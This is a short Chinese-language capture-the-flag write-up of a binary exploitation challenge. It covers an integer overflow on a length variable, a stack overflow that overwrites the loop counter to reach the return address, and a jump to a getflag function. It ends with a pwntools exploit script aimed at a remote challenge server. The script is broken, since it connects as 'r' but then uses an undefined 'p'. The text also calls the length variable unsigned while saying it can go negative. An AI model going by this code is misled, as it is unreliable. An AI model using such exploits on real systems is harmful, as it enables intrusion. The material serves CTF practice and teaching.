长度变量v2定义成无符号类型,所以可以通过溢出,让他为负值
image

长度溢出后,分别覆盖s字符数组、长度变量v2、循环i,特别注意是read(0,&s[i],1u),每次循环读入单个字节
image

0x600x10覆盖数组,0x100xC都是覆盖长度变量(不管覆盖成多大都无所谓),但是i必须要注意,read是通过s[i]来覆盖整个栈的,所以我们可以直接改变i的值,让i指向rip位置,也就是s往下98,i赋值为’c’就行,随之就是rip覆盖成getflag的起始地址就行了,hhh
image

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

r = remote("114.116.54.89",10011)


r.recv()
r.sendline("-1")

payload = 'a'*(0x60-0xc) + 'c' + p32(0x080486BB)

p.recv()
p.sendline(payload)
p.interactive()